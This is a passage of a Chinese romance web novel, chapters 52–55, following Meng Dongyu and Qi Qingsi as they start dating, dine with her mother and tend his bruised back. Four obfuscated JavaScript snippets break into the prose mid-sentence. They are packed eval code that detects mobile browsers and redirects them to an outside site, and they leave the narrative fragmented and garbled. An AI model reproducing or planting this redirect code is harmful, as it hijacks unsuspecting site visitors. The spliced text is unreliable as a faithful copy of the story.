祁清肆偏头,再次挪开视线,唇角靠近她的耳侧,一字一句地加重语调:“那我可要越界了,姐、姐。” 唇齿开合,温热的鼻息喷薄在她的耳畔。 孟冬愉突然感到好似有一股电流,从耳廓蔓延到大脑,而后贯穿全身。 不知是酒的后劲儿太大,还是他的声音本就带着蛊惑。 大脑在迷迷糊糊中,一点点燃起渴望。 她想和他拥抱,想和他接吻,想和他做.爱…… 孟冬愉将环着他脖子的手收回,视线锁定在他勾起的唇角上。 身体被大脑支配,她踮起脚尖,抓着他的衣领,闭上眼睛凑了过去。 距离近在咫尺,却被祁清肆笑着躲开。 他仿佛在强行忍耐着什么,嗓音喑哑,语调带着揶揄:“刚确认关系,就想占我便宜,不合适吧?” 孟冬愉:“?” 他的话促使她的大脑清醒了几分。 回想起刚刚的举动,孟冬愉一时间有些恼羞成怒。 她松开了他的衣领,转身就要离开。 祁清肆哑哑地笑了声,快速捉住她的手腕,手掌猛地用力,将她扯入怀中:“抱一下。” 身体相撞,他的胸腔震动,鲜活且有力的心跳声环绕在她的耳畔。 鼻尖是清幽的檀木香,孟冬愉缓缓抬起手,环上了他的腰。 祁清肆将圈着她身体的胳膊一点点收紧,用鼻尖蹭了蹭她的侧颈:“孟冬愉,是清醒的吗?” 虽然并没反应过来他为什么会这么问,她还是点了点头:“嗯。” 祁清肆将她抱得更紧了些,把头埋在她的肩颈,声音闷闷地开口:“我当真了,你别再耍我。” - 孟冬愉第二天早上醒来的时候,已经是九点多钟。 宿醉带来的后果,是她起床之后,太阳穴还在隐隐作痛。 还没洗漱好,施荣就打来了电话。 孟冬愉一边刷牙,一边按了接听。 施荣开门见山地问道:“楠楠,今天中午回来吃饭吗?” 孟冬愉闻言口齿不清地应声:“回。” “行,那我等下去买菜。”施荣连声应下,不知想到了什么,再讲话有些支支吾吾,“昨天你爸爸葬礼上,替你挡棍子的那个男孩……还在吗?” 昨晚的一幕幕再次重现在脑海中。 孟冬愉将漱口水吐出来,唇角不自觉弯起:“在。” “昨晚没回来吃饭,是和他……”施荣问题问到一半就停住,清了下嗓子,又改了口,“那个,要不要喊他来一起吃个饭?” “嗯。”孟冬愉用毛巾擦干脸,并没直接拒绝,“我等下问问他。” 又聊了几句有的没的,施荣最后满意地挂断了电话。 孟冬愉站在酒店洗漱台的镜子前,望着镜子中的人,轻轻扬了扬唇角。 她们没料到孟建华的案子会这么快水落石出,孟冬愉和施荣这几天,都在孟建中的指挥下,一起筹备孟建华的葬礼。 于是,刚回来那天说好的一起收拾房间,也并没有来得及收拾。 孟冬愉这些天依旧在酒店住着,每天中午和晚上回家吃饭。 昨天晚上突然和祁清肆一起去了酒吧,孟冬愉就给施荣发了消息说不回去吃晚饭。 也正是因为一时冲动,没回去吃饭,才让一切峰回路转,都明朗了起来。 孟冬愉换好衣服,就去敲了祁清肆的房门。 说来也巧,当初明明都是随机挑选的酒店,他们却刚好选中同一家,还住着同一层。 连着敲了好几次,房门才从里面被打开。 祁清肆一身黑色睡衣,头发凌乱,神色惺忪,似乎还没睡醒。 他看到孟冬愉,原本耷拉下来的眼皮抬起,眸光亮了亮。 他唇角勾起,声音染着点刚睡醒的哑:“早。” 孟冬愉看了眼时间,有些疑惑:“你平时不是起挺早的?” “我还不能睡个懒觉吗?”祁清肆懒洋洋地应声,将门完全推开,下巴点了点房间,“要不要进来坐坐?” 进来坐坐…… 这话怎么听着有点…… 毕竟是酒店,进了门过了玄关,就是床。 个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507199|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐私什么的一览无余。 孟冬愉下意识问道:“方便吗?” 见她不进,祁清肆索性倚在门上,视线落在她的脸上,悠悠开口:“孟冬愉,我们什么关系啊?” 话题的主动权不能总是掌握在他手中,孟冬愉歪了歪头,故意逗他:“不是朋友吗?” “朋友?”祁清肆笑着点了点头,而后捉住她的手腕,往里拉,关门。 孟冬愉反应过来时,已经被他抵在了门后。 祁清肆手指摩挲着她的脸颊,语气却是藏不住的咬牙切齿:“什么朋友?” 孟冬愉被他给逗笑,抬手摸了摸他的脸:“男朋友。” “嗯。”祁清肆闻言满意地勾起唇角,将她扯入怀里,埋头在她颈窝里蹭了蹭,“女朋友来查岗,不方便也得方便。” 他的发质很硬,脖子被他的头发扎得有些发痒。 孟冬愉偏头躲了躲,试图将他推开:“你先去洗漱。” 祁清肆完全没有要松手的意思,胳膊又紧了紧:“再让我抱一会儿。” 长久的安静过后,祁清肆再次出声:“孟冬愉,你掐我一下。” 孟冬愉:“?” “为什么?” 祁清肆松开她,垂眼盯着她的眼睛,眼底染着一丝不确信:“我怕在做梦。” 孟冬愉闻言失笑,而后轻轻捏了捏他的胳膊:“痛吗?” 没等他应声,孟冬愉再次问道:“你昨晚是不是失眠了?” 祁清肆愣了一下,而后不自然地别开脸,嘴硬道:“谁失眠了?” “哦。”孟冬愉意味深长地看着他,抬手摸了摸他的眼睑,“那这里怎么是青黑色的啊?” 谎言被强行拆穿。 祁清肆深吸了口气,有些恼羞成怒:“第一次谈恋爱,激动得睡不着,行不行?” “这样啊。”孟冬愉点了点头,心底悬起的石头落下,“我还以为,你昨晚失眠是因为怕醒来之后,我又耍你呢。” 祁清肆闻言顺势卖惨,装作一副委屈巴巴的模样:“嗯,也有这个原因。” 孟冬愉没再将话题继续下去,而是将找他的目的说明:“等会儿要不要和我一起回家吃饭?” “这么快就带我见家长啊?”祁清肆勾唇,眼底的笑意浓郁,他凑到孟冬愉面前,带着点紧张,“阿姨的喜好,你和我讲讲。” 孟冬愉:“?” 施荣喊他们回去吃饭的时候,她还真没往见家长这方面想。 毕竟孟建华的葬礼上,已经有过一面之缘,一起吃个饭也没什么。 如今经祁清肆这么一说,她突然觉得有些不太妥当。 刚确认关系,就见家长,是有些早了。 万一,他们在一起没几天,就分手了呢? “算了。”孟冬愉抿了抿唇角,“我等会儿就说你已经回南江了。” 祁清肆闻言有些慌张:“孟冬愉,你怎么又要赶我走?” “不是。”孟冬愉摇了摇头,试图安抚他,“确实太早了。” “不公平。”祁清肆语调染着点委屈,“你都见过祁振强了,为什么不让我见阿姨?” “还是说,你昨晚说喜欢我,都是哄我的,其实觉得我拿不出手?” 53. 牵手 孟冬愉:“……” 之前怎么就没发现,他这么会胡搅蛮缠。 见她没吱声,祁清肆神色里没了先前的自信。 他眼底染上几分失落,目光沉沉地盯着她看:“孟冬愉,你还是觉得,我们不会有好结果,是吗?” 突然严肃起来的问话,促使孟冬愉不自觉攥紧手指。 她敛了敛眉,试图为自己辩解:“我没这么觉得,只是……” 祁清肆将她打断,语气坚持:“那就带我去。” 孟冬愉在单人沙发上坐下,犹豫了好久,都没应声。 祁清肆叹了口气,蹲在她身前,仰头捉住她的视线:“孟冬愉,别总是悲观地去预设未来。” “不要总是想着,早晚有一天我们会分手。” “对我,对你自己,对我们,多一点信心。” 他的话如同鼓槌,精准无误地敲击着孟冬愉的心脏。 她好像总是会去纠结那些还没发生的事情,总是先去想事情最坏的一面。 然后面对一个预设出来的悲观结果,早早地选择了退缩或者逃避。 孟冬愉垂头,搭在膝盖上的拳头松了松,却不知道要怎么去回应他的话。 仿佛看出了她有所松动,祁清肆伏在她的腿上,脸颊贴了贴她的手指,又轻轻咬了下她的指尖,而后抬眼看她。 他眼中带着几分无辜,又染着几分可怜:“带我去,好不好?” 孟冬愉下意识咽了咽口水,心底也跟着软得一塌糊涂。 她躲开他的视线:“祁清肆,你别……” 祁清肆仰头问:“怎么了?” 孟冬愉依旧不肯看他:“别撒娇。” 祁清肆拉着她的手腕,让她的手掌覆上他的脸颊:“不喜欢啊?” “不是。”孟冬愉摇头,突然觉得有些难以启齿,“就是感觉……都不像你了。” “嗯。”祁清肆不知道有没有听进去,闭着眼睛从唇角到耳朵,在她的掌心上蹭了又蹭,最后才含糊不清地出声,“可我喜欢。” …… 孟冬愉最终还是决定带着祁清肆回家吃饭。 她等他洗漱好,又挑挑拣拣换了衣服。 本以为终于可以早早回去的时候,祁清肆又非要坚持不能空手去。 又不是正经的见家长,孟冬愉觉得这些繁文缛节,根本没必要。 但是她又拗不过他,只好无奈地陪他去了趟附近的商场。 选好了礼盒,又结了帐,出了商场大门,祁清肆突然停住了脚步。 孟冬愉有些疑惑:“又怎么了?” 祁清肆把目光从路过的情侣身上收回,将所有的礼品换到一只手上,朝她伸出了空出的那只手:“孟冬愉,要不要牵手?” 孟冬愉愣了一下,而后忍着笑意问他:“你一只手拎着,不重吗?” 方才在商场,他吃穿用的买了一堆,她说要帮着拿几件,他又不肯。 双手换成单手拎,她真怕走到一半,东西都散掉。 更何况,她在这里生活了十几年,随时随地都可能碰到熟人。 这么牵手回去,她多少会觉得有些尴尬。 祁清肆显然对她的态度不太满意,没再征询她的意见,直接覆上她的手掌,与她十指相扣:“不重,我想牵。” 孟冬愉无奈地弯了弯唇角,任由他拉着她,往家的方向走。 见她没有排斥,祁清肆拇指一下一下地摩挲着她的手背,不知想到了什么,忽地勾着唇角感慨:“怎么手也这么软啊?” 孟冬愉莫名捕捉到一个关键词,而后下意识脱口而出:“也?” 祁清肆脚步明显顿了下,清了清嗓子,解释:“口误。” 他的异常反应,让孟冬愉忍不住接着去问:“什么口误?” 祁清肆耳尖开始泛红,眼神也有些闪躲:“我只是想表达手软。” 孟冬愉更加疑惑:“你现在的神色,很不正常。” 祁清肆依旧不肯承认:“有么?” 孟冬愉神色平淡地试图猜测:“所以,还有谁的手也软?” “孟冬愉,我都说了,我没谈过。”祁清肆闻言神色里染着点恼意,语调又带着被冤枉的委屈,“除了你,我没牵过别人的手。” 孟冬愉不理解:“那你这么心虚做什么?” “我——”祁清肆的耳朵一瞬间红透,咬牙切齿地解释,“我就只抱过你。” 孟冬愉并没听明白:“什么?” 祁清肆没吱声,视线不自然地从她脸上往下落。 终于意识到他说的“也”是指哪里。 “哦。”孟冬愉点头,又张开手臂,忍不住想去逗他,“那要不要再抱一下?” “嗯。”祁清肆单手揽着她的腰,把她带入怀里,又一本正经地开口,“孟冬愉,我也有男人的劣根性,我对你的想法,没那么单纯。” 孟冬愉笑着抬手,捏了捏他发烫的耳垂:“我知道。” 祁清肆话里的重点显然不在前一句,他接着说:“可我没什么经验,我不知道有些话说出来,会不会让你觉得讨厌。” “我怕不小心说错了哪句话,或者做了某些逾距的动作,你就又不喜欢我了。” 孟冬愉落在他耳朵上的手指僵了一下。 她忽地又想起昨晚他说别再耍他,还有今早说怕是在做梦。 明明还安慰她说,让她对他们的感情有点自信。 可是他自己心里好像……也很没安全感。 孟冬愉轻轻叹了口气,对上他的眼睛,回应他:“祁清肆,我做好的决定,不会轻易改,你不要总是患得患失。” 没等他应声,孟冬愉迟疑了片刻,再次开口:“我之前经历过一段感情,情侣之间该做的事情……都做过。” “我没你想得那么保守,我对这些事情的接纳程度,没也那么低。” 祁清肆闻言淡淡地应了声:“哦。” 辨不清楚他此刻的情绪,孟冬愉咬了咬嘴唇,不太确信地问他:“介意吗?” 祁清肆哼笑了声,俯身凑过去,带着点报复意味,在她耳垂上咬了一口:“你当初眼光真差。” 耳朵上的如同过了一道电流,麻麻痒痒地,孟冬愉不自觉抖了一下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517256|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >怕被他发现什么端倪,她佯装恼怒地嗔他:“你怎么小狗一样?” 祁清肆鼻尖蹭了蹭她的耳朵,声音染着点哑意:“忍不住,想咬。” …… 孟冬愉带着拎着大包小包的祁清肆回到家里的时候,施荣也刚买完菜回来。 本来说好的施荣下厨,却被到来的祁清肆主动包揽过去。 祁清肆一口一个阿姨地喊着,把施荣哄得晕头转向。 孟冬愉在一旁无奈地叹了口气,她是真没想过,平日里拽拽的,对谁都爱答不理的一个人,还有这么嘴甜的时候。 谈了恋爱之后,简直像换了属性一样。 饭菜做好端上桌。 施荣拿起筷子夹了一口,再次打开了话题:“你们南江人,吃饭都这么清淡的呀?” 祁清肆盛了碗粥递给孟冬愉:“因人而异,还是有些人能吃辣的。” 施荣点了点头:“看得出来你是不能吃咯。” 祁清肆笑了下,并没承认她的结论:“我还行。” “那怎么做出来的菜,都是清甜口,一点辣椒都不放的?”施荣明显吃不太惯,起身去橱柜里拿了瓶罐头过来。 祁清肆有问必答,一点没让话落在地上:“会做的菜,恰好都比较清淡。” “我自己熬的辣椒酱,你尝尝,可下饭了。”施荣将罐头打开,挖了一勺放到祁清肆面前的餐碟里,又伸手去拿孟冬愉的碗。 孟冬愉把她的手拦下:“妈,我不吃。” 被人当众抹了面子,施荣讪讪地向祁清肆抱怨:“我这姑娘,嘴巴挑得很,这不吃那也不吃,每次做饭,我都发愁。” 祁清肆看了眼孟冬愉,而后慢悠悠顺着她的话应声:“以后您歇着,我来发愁。” 施荣闻言满意地不得了,又开始絮絮叨叨地讲一些往事:“前两年,我们催她相亲,她说有男朋友,她爸和我当时还觉得她是骗我们的,一直让她带回来看看。” “如今我是见到了,她爸爸却……” 孟冬愉攥紧筷子,垂头扯了扯唇角。 她本以为孟建华的死会让施荣有所转变,她也以为她那些推心置腹的话,施荣都听了进去。 如今才意识到,她那些根深蒂固的思想,早已经很难连根拔起。 她是一个母亲,也尽到了做母亲的责任。 可是她并不是真的爱她。 祁清肆似乎察觉到了她的异常,偷偷去牵她放在桌下的那只手。 孟冬愉被他的举动吓了一跳,本能地想去挣脱,却被他抓得更紧了些。 祁清肆这次没再回应施荣顾影自怜的话,而是换了话题:“阿姨,我听说孟冬愉从小肠胃就不太好,是吗?” 施荣从悲伤中抽神回来,又愣了一下:“肠胃不好?没听她说起过啊?” “小的时候确实经常上吐下泻的。”她似乎想起了什么,补充完,又向孟冬愉确认,“现在应该没这种情况了吧?” “这样吗?”没等孟冬愉应声,祁清肆倒先开了口,“我记得,前段时间我们去看中医,那位老先生说,她这是从小落下的病根,根本没好。” 54. 心疼 明明祁清肆的神态和语气都像是在闲聊。 施荣闻言却怔了好久,而后仿佛忽然间明白了什么,有些自责地笑了笑:“怪我,都没注意到。” 祁清肆跟着笑了笑,没说什么奉承或安慰的话,而是意味深长道:“肠胃不好要忌辛辣,她……” 话还没说完,就被一阵敲门声打断。 施荣闻声起身,过去开门。 邱朗一身便装,站在门外,见眼前的人是施荣,连忙唤了声:“荣姨。” 孟建华的案子虽然已经结案,但是邱朗突然在饭点找上门,施荣难免有些紧张:“邱警官,您这次过来,是……?” “冬愉在吗?”邱朗开门见山,继而似乎看出到施荣的担忧,又笑着解释,“荣姨,您放心,我这两天休假,这次过来不是工作上的事情。” “我们正吃饭呢。”施荣松了口气,侧了侧身,又展现出热情好客的一面,“你吃过了吗?要不要坐下来一起吃点?” “老早就馋您的手艺了。”邱朗这次倒是没推脱,一边解释,一边随着施荣进了门,“之前因为工作原因,一直不好留下来。” 从玄关转弯进入餐厅,邱朗看到祁清肆后,脸上的笑容瞬间凝滞。 施荣以为两人没见过,指了指祁清肆,笑呵呵开口介绍:“小祁,楠楠男朋友。” “男朋友?”邱朗挑了挑眉,语气带着淡淡的嘲讽,“上次在酒店遇到,我还以为是什么不法分子呢?” 祁清肆置若罔闻地给孟冬愉夹菜,眼皮都没抬一下。 “你们见过?”施荣似乎并没察觉到什么异常,啰嗦着去厨房拿了新的碗筷出来,“我这姑娘也真是,谈了也不肯带回来,害我们一直怀疑她在骗我们。” “没想到你都比我知道得早。”施荣不知想起了什么,又坦诚地补充,“我真是瞎操心,当时还想着撮合一下你们俩。” 邱朗也没有要走的意思,接过施荣递来的碗筷,道了声谢,而后在孟冬愉对面坐下。 他不屑地看了祁清肆一眼,又去问孟冬愉:“冬愉,没被胁迫吧?” 施荣和邱朗在门口的对话,孟冬愉也听了个大概,她闻言摇了摇头,又径直问道:“找我有事吗?” 邱朗也没再绕弯子:“临城一高这两天校庆,我看你刚好回来,就来问问,要不要一起回去参加?” 孟冬愉想都没想就拒绝:“我就不去了。” 邱朗神色没什么意外,似乎早就料到了她会这么说,但是依旧开启了话题:“这些年同学聚会,你也不来。” “我们班主任老陈,每年都要在我们面前念叨你,替你惋惜。” 突然提起多年前的事情,孟冬愉拿着筷子的手顿了一下,继而摇头:“没什么好惋惜的。” “怎么能不惋惜?”邱朗叹了口气,发自肺腑地感慨,“本该去读北城大学的好苗子,结果去读了北传。” “北传也挺好的。”孟冬愉抿了抿唇角,试图结束话题,“当初也是我自己的选择。” “而且这么多年过去了,没必要再提这些。” “我也没说北传不好,换我北传肯定也考不上。”邱朗摆了摆手,有些义愤填膺,“大家就是觉得,要是没有那场意外,当年临城的理科状元,绝对是……” 在一旁没怎么发言的施荣,突然插话进来,将他的话打断:“邱警官,吃菜,再不吃都冷了。” 邱朗应该也意识到了大家都不愿意再提这件事,他象征性夹了口菜,而后换了话题:“荣姨,这菜还挺好吃,就是味道淡了点。” “这些都是小祁做的。”施荣有些不好意思地笑了笑,“你要是想尝我的手艺,改天我做好了喊你来吃。” …… 邱朗本身也不是什么不善言辞的人,一顿饭吃完,全程也没让冷场。 这些天,孟冬愉虽然身在临城,但是依旧时不时关注着和幻宙的合作动向。 今天是活动的最后一天,她饭还没吃完,就收到温承卿发来的消息。 于是只好放下筷子,专心致志地去和他沟通。 祁清肆自从邱朗来了之后,倒是没再怎么讲过话。 饭后,邱朗和施荣争着洗碗,祁清肆便以有事情为由,出去了一趟。 孟冬愉刚帮温承卿把遇到的小问题解决掉,就收到了祁清肆的消息。 祁清肆:【下楼。】 他当时说出去的时候,孟冬愉只顾着回温承卿的消息,也没去问他究竟去做什么。 如今收到他的消息,她并不知道他为什么突然喊她下去。 厨房里,邱朗一边洗碗一边和施荣聊天,孟冬愉和他们说了一声,就下了楼。 祁清肆倚在单元楼门口的走廊角落,唇角叼了支烟,眉眼敛着,看着心情不怎么好。 孟冬愉走过去,打破了周遭的安静:“怎么又抽烟?” 见她过来,祁清肆抬头,将烟从唇上拿下:“没点。” 知道他没点,孟冬愉想问的重点也不在这上面。 角落地空间有些逼仄,孟冬愉在离他几步远的地方停下:“喊我下来干嘛?” 祁清肆轻哼了声,语调不满:“我不喊你,都不来找我的?” 他的异常反应是从邱朗来之后开始的,这一点孟冬愉确实看了出来。 虽然她觉得她和邱朗在方才的饭局上,并没什么亲昵的举动和暧昧的言语。 甚至连朋友都算不上。 但孟冬愉还是试探地问道:“祁清肆,你是不是吃醋了?” 祁清肆对她的问题不置可否,张开手臂,语气带着不容拒绝:“过来抱我。” 孟冬愉走近,笑着环上他的腰,又仰头看着他,温声道:“我高中的时候对他没太多印象,后来和他也没什么交集。” “这次是因为我爸的案子才和他认识,不过并不怎么熟悉,包括上次去酒店,也只是刚好顺路。” 听完她的解释,祁清肆面上并没什么反应。 他视线依旧落在她的脸上,眼底蓄着她看不太懂的情绪,不知道究竟在想些什么。 孟冬愉抬手去捧他的脸,又揉了揉,试图去哄他:“别不开心了。” 祁清肆将她的手拿下来,揽着她的肩膀,将她拥入怀中。 过了许久,他才嗓音沉沉地喊她的名字:“孟冬愉。” 四周的空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533900|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气被密不透风的躯体遮挡,孟冬愉鼻尖贴着他的胸膛闷闷出声:“怎么了?” 她的话音落,祁清肆并没及时应声,周遭再次安静了下来。 忽而有风吹动单元楼的铁门,哗啦作响。 嘈杂的响动过后,祁清肆将她抱得更紧了一点,才再次出声。 “这些年……”他呼吸了好几次,才将哽在喉咙的问题问出口,“很难过吧?” 孟冬愉反应了片刻,忽地鼻子一酸。 所以,他不开心的原因,不是因为邱朗,不是因为吃醋。 而是,因为……心疼她吗? 很难过吧? 是怎么熬过来的? 这些年,很少有人问她这些问题。 孟冬愉张了张口,刚想要说话,就听到不远处有人咳了两声。 她回头,看到了邱朗。 邱朗站在原地,解释道:“荣姨说你们怎么还不回来,让我下来看看。” 孟冬愉忽然觉得脸颊有些发烫。 没人的时候怎么搂搂抱抱都行,当着外人的面做这些亲昵的举动,真的很尴尬。 孟冬愉下意识地想要从他的怀抱里挣脱开。 然而,祁清肆并没有松手的意思。 孟冬愉见状有些恼地锤了一下他的后背:“先松开。” 拳头落到他的身上,祁清肆闷哼一声,眉头当即蹙了起来,脸色也有些泛白。 见他的反应不太对,孟冬愉有些担忧地问道:“祁清肆,你怎么了?” 祁清肆将她松开,摇头:“没事儿。” 孟冬愉自然不信,大脑飞速运转了片刻,蓦然想起,昨天在孟建华的葬礼上,他替她挡下的那一棍。 棍子是铁的,他衣服穿得也不厚,孟建中当时气急败坏,肯定是用了力气的。 祁清肆平日里,在她面前,像个娇气包一样,有点小痛都要跑来找她求安慰。 这次他什么都没说,她也就没放在心上。 孟冬愉此刻已经全然不再顾及邱朗是否在现场,她有些迫切向祁清肆确认:“背是不是还在痛?” 祁清肆看了眼还在远处站着的邱朗,而后压着唇角,承认地点头:“嗯,痛。” 孟冬愉语气带着点责备:“昨天怎么不说?” “孟冬愉,凶我啊?”祁清肆垂眼看她,眼中挂着委屈,而后又把她拉入怀里,抬眼挑衅地看向邱朗,“抱一下就不痛了。” 孟冬愉:“……” 她将他推开,严肃地盯着他问:“去医院还是去药店?” 像是知道再闹下去她会生气,祁清肆即刻做了选择:“药店。” 孟冬愉上楼拿了包,又和施荣讲了声,而后和祁清肆一起去药店买了药。 拿着瓶瓶罐罐回了酒店房间,孟冬愉洗完手出来,祁清肆已经把上衣全部脱掉了。 孟冬愉见状愣了一下,而后下意识别开眼去:“你……你怎么全脱了?” “哪有全脱?”祁清肆笑了声,慢悠悠走到她面前,痞里痞气地开口,“孟冬愉,不是说,对这种事情,接纳程度很高吗?” “我裤子都没脱呢,你怎么就害羞了?” 55. 吃醋 伤口在后背,孟冬愉本想着让他把外套脱了,里面的卫衣掀起来也能涂药。 不曾想,她就去洗了个手的功夫,他已经裸着上半身在床上坐着。 突然的视觉冲击,让她下意识地避开了视线。 不过是身体的本能反应,其实也算不上害羞…… 孟冬愉将头转回来,才发现—— 他看似是在吊儿郎当的调侃,耳朵却红得仿佛要溢出血来,脖颈上的绯意也一点点扩散到脸颊。 典型的……杀敌一千,自损八百。 孟冬愉视线停在他的耳廓上,失笑:“你不害羞,耳朵怎么红了?” 上风被她占据,祁清肆依旧嘴硬,神色不自然地吐出两个字:“我热。” 孟冬愉没去拆穿他,只是意味深长地点头:“这样哦。” 话说完,她径直略过他,蹲在床边去研究从药店买回来的各种药。 见她的注意力完全不在他身上,祁清肆转身,看着她的发顶,有些挫败地开口:“孟冬愉,我的身材也不差吧?” 孟冬愉:“?” 他脱衣服不是为了方便涂药吗? 怎么讨论起身材来了? 孟冬愉从说明书中抬头,顺着他的问题,去认真打量。 他臂膀和肩颈的肌肉练得恰到好处,肩宽腰窄,典型的倒三角。 胸腹部有着完美得如同建模一般的流畅线条,肌理分明,漂亮的人鱼线隐匿到裤子中。 比起孟冬愉偶尔在网上刷到的那些……男菩萨,可以说是有过之而无不及。 可能是她的视线在他身上停留了太久,他本就偏白的皮肤也开始泛起淡淡的红。 孟冬愉莫名觉得,她此刻好像在什么不正经的场合,干着不正经的事情。 她将视线收回,回应他的问题:“嗯,还行。” 祁清肆语调染上一丝不满:“你的反应,就这么平淡?” 孟冬愉无奈地抬眼看他:“那你还想我有什么反应?” 祁清肆走过去,在她身侧的床边坐下,单手撑着床沿,弓着腰和她对视。 他空着的手捉住她的手,指腹剐蹭着她的掌心,话里带着点引诱的意味:“要不要摸一下?” 掌心的痒意蔓延至大脑,欲望一点点滋生,孟冬愉忽地想起昨晚被大脑支配的冲动。 她咽了咽口水,将手抽回,强装镇定地拒绝他:“刚在一起,就占你便宜,不合适吧?” 祁清肆顿了一下,而后哼笑:“行,挺记仇。” 孟冬愉没搭腔,低头把药膏打开,戳着他的肩膀让他背过身去:“快点涂药。” 他背后有一道触目惊心的黑紫,从右侧的肩胛骨延伸到左腰。 他这次一声不吭,她真的以为没那么严重。 孟冬愉捏着药膏的手僵住,有些自责:“痛吗?” “昨晚睡不着,是不是也有这个原因?” 祁清肆闻言转过身来,安抚般捏了捏她的手:“没那么娇气。” 心脏好似被什么揪着,他越是这样不以为意,孟冬愉就越觉得愧疚。 她执拗地去问他:“我都那么伤害你了,为什么还要跑过来替我挡?” 人在紧急情况下,不都是自私的吗? 她说了那么多重话,为什么那么危险的情况下,还是不顾一切地扑了过来? “心疼吗?”祁清肆沉黑的眼睛盯着她,手指摩挲着她的脸颊,“可我更心疼。” 孟冬愉没明白:“什么?” “没什么。”祁清肆垂头笑了下,想起了什么似的,又抬眼补充,“解决问题的方法有很多种,别总是以身涉险。” 以身涉险? 他是在说,她故意去激怒孟建中的那件事吗? 孟冬愉抿了抿唇角:“你看出来了?” 祁清肆没应声,许久之后,才缓缓开口:“孟冬愉,跟我回南江吧。” 他看得出来,从昨天的葬礼,到今天的饭局,每个人都在无形地给她施加痛苦,逼着她去回忆那些她并不想回忆的事情。 这里没有人真正喜欢她,想要伤害她的人却数不胜数。 她在这里也并不会真正的开心。 他想,至少回南江,有他在,有她的事业在,她不会过得这么压抑。 面对祁清肆突如其来的提议,孟冬愉愣了愣。 如今孟建华的葬礼结束了,她好像还没去想过,接下来要怎么办。 和幻宙的合作结束了,但是她当时走得太突然,后续的工作并没有交接,回去肯定是要回去的。 只是,如今她和施荣的关系刚有所缓和,她不知道该不该直接抛下她离开。 她总是还对施荣抱有一点幻想,希望她能清醒,能摆脱思想的困境。 祁清肆还在等着她的答案,孟冬愉含糊其辞地应声:“再等两天吧。” 没等祁清肆应声,她晃了晃手上的药膏:“先涂药。” 消毒水的味道在空气中蔓延开来,而后是苦涩的中草药味。 瘀紫的面积太大,细致地涂完,几乎耗尽了整管药膏。 哪怕室内空调开着,温度也没到可以几个小时不穿衣服的地步。 涂药耗时太久,担心他会感冒。 孟冬愉将棉签丢掉,揉了揉泛酸的手腕,提醒他:“穿衣服吧。” 祁清肆回过身来,并没听她的话去拿衣服。 他看着她,语气带着点不甘心:“真不摸啊?” “我脱都脱了。” 孟冬愉:“……” 什么癖好? 拿棉签的手抬了半个多小时,此刻酸得厉害。 孟冬愉并没有心思去和他周旋,她无奈回应:“又不是我让你脱的。” 祁清肆捉住她的手,用力把她往自己身边拉了一下,而后翻身,把她放倒在床上。 身体忽地失去重心,孟冬愉惊呼一声:“你干嘛?” 大脑反应过来时,她双脚抵在床沿,身体已经陷入柔软的被褥中。 祁清肆胳膊撑在她的肩膀两侧,呼吸重重地落在她的脸颊。 他嗓音微哑:“孟冬愉,勾引你就这么难吗?” 孟冬愉:“?” “勾引?” “嗯。”祁清肆抓住她的手,强制性地把她的手贴了上去,“想让你摸。” 他的皮肤有些灼热,肌肉紧绷着,软软的又滑滑的。 很新奇的手感。 只是这样的姿势,过于暧昧,孟冬愉也明显感觉到他的呼吸重了几分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545260|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她连哄带夸地试图挣脱开:“可以了,你身材不错。” 祁清肆不为所动,哑声问道:“手感是不是比他好?” 他? 孟冬愉捕捉到他话里的关键词,有些疑惑:“谁?” 祁清肆语气带着点咬牙切齿:“除了我,你还摸过谁,就是谁。” 孟冬愉:“?” 什么谁谁谁? 她诚实地摇头:“没摸过。” “不信。”祁清肆依旧不肯松手,复述她说过的话,“不是说,情侣之间该做的事,都做过了吗?” 孟冬愉总算反应过来,他在说些什么。 只是摸个腹肌,哪算情侣之间该做的事情? 她无奈地解释:“他没有,行了吗?” 祁清肆这才满意地勾了勾唇角,将她松开,捞起卫衣,套了进去。 孟冬愉嗔了他一眼:“醋精。” 